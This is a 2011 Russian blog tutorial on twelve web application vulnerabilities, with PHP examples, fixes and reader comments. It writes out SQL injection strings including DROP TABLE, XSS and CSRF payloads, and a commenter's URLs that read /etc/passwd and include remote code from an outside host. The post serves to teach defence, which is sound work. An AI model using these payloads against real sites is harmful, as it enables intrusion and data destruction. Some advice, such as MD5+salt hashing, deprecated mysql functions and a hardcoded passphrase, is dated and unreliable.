Записки о софтверном бизнесе

12 уязвимостей веб-приложений о которых должен знать каждый разработчик

February 25th, 2011 Posted in Технологии

Черновик статьи о типовых уязвимостях веб-приложений. Дайте знать если что-то упустил или где-то ошибся.

------------------------

Данная статья не содержит никаких откровений. В первую очередь информация о типовых уязвимостях будет полезна начинающим. Опытные разработчики все это знают, или должны знать, если считают себя таковыми.

Большинство примеров кода не привязаны к какому-либо конкретному языку программирования, но для наглядности я буду использовать PHP.

Итак, поехали.

1. SQL injection

Допустим у вас есть вебсайт с формой ввода имени пользователя. Для проверки наличия имени в базе данных  вы используте вот такой код:

$query = "SELECT * FROM `Users` WHERE UserName='" . $_POST["Username"]. "'";
mysql_query($query);

где $_POST["Username"] - введенное пользователем имя.

Пользователю достаточно ввести вот такое значение в поле Username

' or '1'='1

чтобы получился запрос, который всегда возвращает данные:

SELECT * FROM `Users` WHERE UserName = '' OR '1'='1'

Для тех баз данных, которые поддерживают выполнение несколько запросов в одном пакете, злоумышленник может исполнить запрос удаляющий или изменяющий данные.

Пример такого ввода:

a';DROP TABLE `Users`; SELECT * FROM `userinfo` WHERE 't' = 't

Запрос на выходе:

SELECT * FROM `Users` WHERE `UserName` = 'a';DROP TABLE `Users`; SELECT * FROM `userinfo` WHERE 't' = 't'

Два основных способа избежать SQL injection:

  • параметризованные запросы

Наиболее надежный метод, но не всегда подходит. В PHP можно для этой цели использовать MySQLi

$stmt = $db->prepare('update people set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();
  • escaping

В PHP для этого есть функция mysql_real_escape_string, которая заменит опасные символы на escape последовательности. Наш пример теперь будет выглядеть вот так:

$query = sprintf("SELECT * FROM `Users` WHERE UserName='%s'",
                  mysql_real_escape_string($_POST["Username"]));
mysql_query($query);
 

2. Сross Site Scripting (XSS)

XSS уязвимости могут быть подвержены динамические вебсайты, где пользователи вводят какие-то свои данные, которые потом будут показаны на странице: форумы, гостевые книги, комментарии блогам и другое. Идея XSS заключается во встраивании в текст комментария какого-то Javascript кода, который исполнится, когда страницу откроет другой пользователь.

Чем может навредить безобидный джаваскрипт? Довольно многим, от открытие левых сайтов в попапе или простого завешивания браузера до воровства куки. Последнее уже может привести к выполнению другим пользователем действий на этом сайте от вашего имени. Рассмотрим минимальный пример.

Форма для ввода текста:

 
<form id="myFrom" action="showResults.php" method="post">
<div><textarea name="myText" rows="4" cols="30"></textarea>
<input type="submit" value="Submit" name="submit" /></div>
</form>
 

Файл showResults.php:

echo("You typed this:");
echo($_POST['myText']);

Мы видим, что введенный текст никак не обрабатывается и выводится на страницу в исходном виде. Теперь рассмотрим такой пример ввода:

<script type="text/javascript">myRef = window.open('http://www.google.com','mywin',
'left=20,top=20,width=700,height=500,toolbar=1,resizable=0');</script>

Нетрудно видеть, что javascript код исполнится после сабмита формы. Лечится пропусканием ввода через htmlentities() непосредственно перед показом:

echo("You typed this:");
echo(htmlentities($_POST['myText']));

3. Использование HTTPS

Здесь все очень просто. Если ваше приложение работает с финансовыми, медицинскими или просто с очень важными данными - используйте HTTPS. Данные между браузером и веб-сервером передаются в зашифрованном виде и не могут быть расшифрованы в случае перехвата сниффером.

4. Предотвращения скачивания пользовательских файлов по прямой ссылке

Рассмотрим веб-приложение, где пользователи могут закачивать на сервер свои личные файлы. Некоторые файлы могут быть конфиденциальными и не должны быть доступны никому, кроме их владельца.

Есть закачивать все файлы в директорию вида public_html/files, то файл mysecretdoc.pdf будет доступен любому желающему по прямой ссылке http://mysecurewebsite.com/files/mysecretdoc.pdf.

Есть как минимум два способа предотвратить эту ситуацию:

  • вынеcти директорию files на уровень выше, чтобы она была вне корня вебсайта и не была доступна через веб
  • использовать .htaccess для запрета прямого скачивания

5. Пароли пользователей

- Не хранить пароли открытым текстом

Достаточно очевидное решение. Если мы будем хранить хэши паролей (MD5+salt), последстивия утечки таблицы паролей становятся намного менее серьезными, особенно в сочетании со следующим пунктом.

- Требовать, чтобы пароли удовлетворяли определенными правилам сложности и заставлять менять их через какое-то время. Как пользователь я не очень люблю этот метод, но он работает.

- Использовать комбинацию пароля (пин-кода) и устройства типа RSA токена для логина. Подойдет для банковских или внутрикорпоративных приложений.

- Сделать авторизацию через сторонний сервис, такой как Facebook, Twitter или OpenID. Пусть у них болит голова как уберечь пароли.

6. Шифрование и обфускация кода

Здесь важно понимать, что шифрование и обфускация защищают от изменения и понимания кода, но не от его исполнения. Защифрованный код исполняется точно так же как и исходный и, более того, модуль расшифровки поставляется вместе с зашифрованным кодом и можеи быть использован для декодирования. Если злоумышленник получил доступ к вашему серверу, шифрование кода мало чем поможет.

Есть только один сценарий, когда это дело работает в качестве защиты от исполнения кода. Код расшифровки может устанавливаться как модуль на сервер и, если в руки злоумышленнику попал только сам зашифрованный код, без этого модуля он его не исполнит.

Шифрование кода для PHP: ionCube, ZendGuard, SourceGuardian

Обфускация: Thicket Obfuscator for PHP

7. Шифрование данных

Шифрование данных защищает от ситуации, когда база данных попала в чужие руки, но нет кода, который с ней работает.

Технически ничего сложного здесь нет. Шифрование/декодирование можно реализвать как средствами языка программирования так и в самой БД. Второй метод предпочтительнее, особенно если нужно реализовать поиск по зашифрованным данным.

Вот как это можно сделать для MySQL.

Шифрование с помощью триггеров

delimiter |
 
CREATE TRIGGER insert_encrypt BEFORE INSERT ON cars
  FOR EACH ROW BEGIN
    SET NEW.Model = AES_ENCRYPT(NEW.Model,"my passphrase");
  END;
|
 
delimiter |
 
CREATE TRIGGER update_encrypt BEFORE UPDATE ON cars
  FOR EACH ROW BEGIN
    SET NEW.Model = AES_ENCRYPT(NEW.Model,"my passphrase");
  END;
|

Декодирование в SQL запросе

SELECT
...
AES_DECRYPT(Model,"my passphrase"),
...
FROM carscars

Бонус для параноиков

В качестве эксперимента можно использовать пароль пользователя в качестве фразы шифрования данных. Если пользователей в системе несколько, персональные данные каждого из них шифруются своим собственным паролем. В таком случае даже получив доступ к коду или к базе данных злоумышленник не сможет расшифровать данные.

Из минусов:
- при смене пароля придется перешифровать данные
- в случае утери пароля восстановить данные не получится

8. Защита данных сессии (PHP, shared server)

В случае, когда ваше приложение хостится вместе с сотней других на одном сервере, кто-то может получить доступ ко всему серверу и прочитать или подделать переменные сессии.

Содержание типичного файла сессии PHP:

userName|s:5:"admin";accountNumber|s:9:"123456789";

Решение:
- шифровать переменные сессии
- хранить данные сессии в БД. В PHP можно переопределить обработчик сессии с помощью функции session_set_save_handler

9. Отключите показ сообщений об ошибках

Как только система переводится в режим продакшен убедитесь что никакие необработанные сообщения об ошибках не будут показаны пользователю. Это может дать информацию о структуре базе данных или о структуре приложения.

Как минимум, сообщения об ошибках стоит отключить. В PHP это можно сделать вот так:

error_reporting(0);
@ini_set('display_errors', 0);

Наиболее же правильный метод это перехват сообщений об ошибке, запись их в БД, отправка уведомления разработчику итд. В PHP перехват сообщений об шибках делается с помощью функции set_error_handler(). И вот еще пример перехвата фатальных ошибок, которые нельзя перехватить с помощью set_error_handler().

10. Защитите соединение между базой данных и приложением

Применимо к ситуации когда база данных расположена на другом сервере. Вот статья, которая рассказывает как создать SSL тоннель между MySQL и PHP.

11. Защита от form spoofing

Допустим у вас есть форма редактирования данных пользователя вот с таким УРЛ: http://example.com/edit_user.php?id=12345. Ничто не мешает пользователю 12345 поменять номер аккаунта в УРЛ и попытаться отредактировать другого пользователя. Простая проверка на стороне сервера пресекает эти попытки на корню.

Неискушенный прграммист может подумать, что заменив GET на POST мы избавимся от номеров аккаунтов в УРЛ и закроем уязвимость. Разумеется это не так. Сохранив страницу на свой компьютер и изменив данные формы, злоумышленник может подделать POST запрос.

Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.

Эта тема плотно перекликается с валидацией всех данных, вводимых пользователем. Допустим у вас есть радио-кнопка с выбором пола.

 
<input name="gender" type="radio" value="m" />Male
<input name="gender" type="radio" value="f" />Female

Зная, что значение этого поля может быть только m или f, программист может посчитать проверку этого поля необязательным и записать его в базу данных в виде как оно есть.

Злоумышленник может сохранить эту страницу себе на диск и поменять ее следующим образом.

 
<input name="gender" type="text" value="m';DROP TABLE `Users`; ... " />

Даже если вы обработаете ввод с помощью mysql_real_escape_string(), значение все равно получится слишком длинным для односимвольного поля и поломает запрос (вот для чего мы советуем отключать сообщения об ошибках в продакшен версии).

Хорошим решением будет усечение этого поля до одного символа:

substr($_POST['gender'],0,1)

12. Cross-site request forgery (CSRF)

Эта уязвимость менее известна чем XSS, хотя не менее опасна. Представим себе форум, где участник Vasya постит сообщние, содержащее вот такой вот код:

<img src="http://mysecurebank.com/withdraw?account=petya&amp;amount=1000000&amp;for=vasya" />

Когда эту страницу откроет участник Petya, браузер исполнит запрос

http://mysecurebank.com/withdraw?account=petya&amount=1000000&for=vasya

Проблема в том, что если банк хранит данные доступа в куках, Petya будет залогинен автоматически и транзакция совершится от его имени, о чем он, конечно, и не подозревает.

Первая мысль которая приходит в голову - заметить GET на POST на всех важных формах (или вообще на всех). К сожалению это не решает проблему полностью. Ничто не мешает злоумышленнику разместить вот такую форму на своем вебсайте:

 
<form id="f" action="http://mysecurebank.com/withdraw" method="post">
<input name="account" value="petya" />
<input name="amount" value="1000000" />
<input name="for" value="vasya" />
    </form>
 

Если Васе удастся заманить Петю на свой вебсайт - форма будет отправлена и цель достигнута. Еще одна причина не ходить по подозрительным вебсайтам.

Как с этим бороться?

  • проверять значение HTTP реферера. Должно быть всегда с вашего собственного вебсайта. К сожалению положиться на это дело полностбю нельзя, так как многие прокси сервера могут его не передавать. К тому же его не так сложно подделать.
  • использовать скрытое поле в форме с секретным значением, как правило привязанным к сессии пользователя. Злоумышленник не может прочитать форму от имени Пети, поэтому секретное значение окажется для него неизвестным (XmlHttpRequest не может выполнить запрос к другому серверу).
  • Дополнительно отправлять куки через форму (прочитать с помощью джаваскрипта и вставить в форму). Если куки переданные через форму не совпадают с куками из заголовка - транзакцию не проводить.
  • Ограничение времени жизни кук

Дополнительная информация:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.codinghorror.com/blog/2008/09/cross-site-request-forgeries-and-you.html

Заключение

Теперь хорошие новости. От большинства этих уязвимостей несложно защититься. Многие PHP фреймворки (Yii, CakePHP, CodeIgniter, Zend, Symfony) и генераторы кода (PHPRunner) имеют встроенную защиту от большиства уязвимостей. Тем не менее, стоит понимать, как оно работает, чем чревато и как защититься. Предупрежден - значит вооружен.

 

  1. 21 Responses to “12 уязвимостей веб-приложений о которых должен знать каждый разработчик”

  2. By Dmitry KiD on Feb 26, 2011

    6, 7 и 10 почти никто не будет использовать т.к. это сильно замедлит работу сайта, соответственно не соответветствует заявленной теме статьи “12 уязвимостей веб-приложений о которых должен знать *каждый* разработчик”. Да и не уязвимости это в общем.

    9 – нет, нет и ещё раз нет! Не достаточно отключить отображение ошибок – важно их логировать самому чтобы видеть попытки взлома сайта. В php это можно сделать функцией set_error_handler. Если этого не сделать то вас сломают а вы не узнаете.

    4 – не очевидно. Не описана угроза. Более того, есть случаи когда ужно сделать именно так!

    В целом статья грамотная и по делу, спасибо.

  3. By Doc.X on Feb 26, 2011

    Спасибо. Узнал кое-что новое о защите.
    Я бы ещё добавил что важно защитить доступ в админку.

  4. By gene on Feb 26, 2011

    Вы не могли бы пояснить более подробно четвертый пункт?

  5. By vasya on Feb 26, 2011

    Если вам не понятен четвертый пункт, то, видимо, остальное не понятно тем более ;) Наймите администратора или купите нужные книжки.

  6. By vasya on Feb 26, 2011

    По поводу 4: к примеру, вы продаете шрифты. И в случае, если файл лежит в какой-то папке, доступной с веба, то злоумышленник может теоретически скачать без покупки. Такую папку надо либо защищать с помощью http-сервера, либо действительно размещать файлы вне корня сайта. Сами же файлы покупателям отдавать через специальный скрипт.

  7. By Eugene on Feb 26, 2011

    Первый пример… А давно ли хорошим тоном стали манипуляции с простыми переменными вместо $_GET и $_POST ?

    Я бы привел первым, пример фильтрации входящих данных.

  8. By Eugene on Feb 26, 2011

    4 пример. Зачем? Можно получить гемор с правами, как сами то ходить будем? Проще через .htaccess запретить доступ к определенной папке а файлы отдавать пользователю через скрипт. Хотя тут тоже есть трабла с большими файлами. На мой взгляд проще изучать файл при его приеме, чем заботится о правильной отдаче.

  9. By Eugene on Feb 26, 2011

    9 пример. Вот тут http://insomanic.me.uk/post/229851073/php-trick-catching-fatal-errors-e-error-with-a правильный пример обработки ошибок. И вообще на хабре была статья крупная по этому вопросу. Ваш вариант не вариант вообще.

  10. By gene on Feb 26, 2011

    Непонятна в первую очередь фраза “доступно с веба”, на каком-то непонятном языке.

    А “корень сайта”? Это место обзначаемое / ? Какая разница лежит в корне / или в папке /download/? Что от этого изменится?

    Только про скрипт разумно, но это разве не очевидно?

  11. By MM on Feb 26, 2011

    Четвертый пункт увеличивает конфиденциальность самих файлов (в некоторых случаях). Но как это связано с безопасностью?
    В принципе, в статье все описано верно, но ничего не сказано про уязвимость php-include и php-exec. Ведь есть полно криво написанных сайтов, где можно прочитать любой файл на сервере с помощью запроса вида http://superpupersite/index.php?file=/etc/passwd, или даже выполнить произвольный php-код запросом вида http://www.superpupersite/index.php?file=http://pupkin.halava123.ru/cmd.txt.

  12. By Сергей Корнилов on Feb 27, 2011

    Коллеги, всем спасибо за критику. Доработал пункты 4 и 9.

  13. By Сергей Корнилов on Feb 27, 2011

    @Dmitry KiD,

    согласен насчет пунктов 6, 7 и 10. Это не уязвимости, а скорее соображения или дополнительные меры защиты. Пока не придумал лучшего варианта как все это вместе назвать.

  14. By Сергей Корнилов on Feb 27, 2011

    @Eugene,

    подправил привел на прямое использование POST вместо переменной. Имелось в виду что эта переменная не что иное как значение из POST.

    По поводу 4 – вариант с директорией вне корня мне нравится значительно больше. Речь, разумеется идет о ситуации когда все файлы приватные и отдача всегда идет через скрипт.
    Опять же, будет работать и под IIS, не надо искать аналоги .htaccess.

  15. By gene on Feb 27, 2011

    “не была доступна через веб” = “не была доступна любому пользователю сайта”. Теперь стало понятно, что такое “через вэб”, но все равно как-то не по-русски.

  16. By Сергей Корнилов on Feb 27, 2011

    @MM,

    защита файлов от несанкционированного просмотра и есть вопрос безопасности. Можно рассматривать это как потенциальную уязвимость приложения рабтающего с файлами пользователей.

    Я почитаю про уязвимость php-include и php-exec. Пример понятен, но как уж слишком прост для взлома.

  17. By Сергей Корнилов on Feb 27, 2011

    @gene,

    видимо никак не могу отделаться от английского “not accessible via Web”

  18. By Александр on Mar 5, 2011

    Статья навеяна кошачьим червем в ЖЖ, или просто совпадение?

  19. By TRSteep on Apr 7, 2011

    Интересно почитать не просто об уязвимостях, а когда они сразу с примером использования.

    Насчет файлов в 4. неплохо бы было сразу описать как защитить через .htaccess

  20. By Антон on Jul 8, 2011

    Сразу видно – автор понимает о чем пишет. Но вот только мне кажется, что можно и HTTPS расшифровать…

  1. 2 Trackback(s)

  2. Apr 28, 2011: Блог-шоу - выпуск 44
  3. May 19, 2011: 12 уязвимостей веб-приложений о которых должен знать каждый разработчик « КОИБАСta

Post a Comment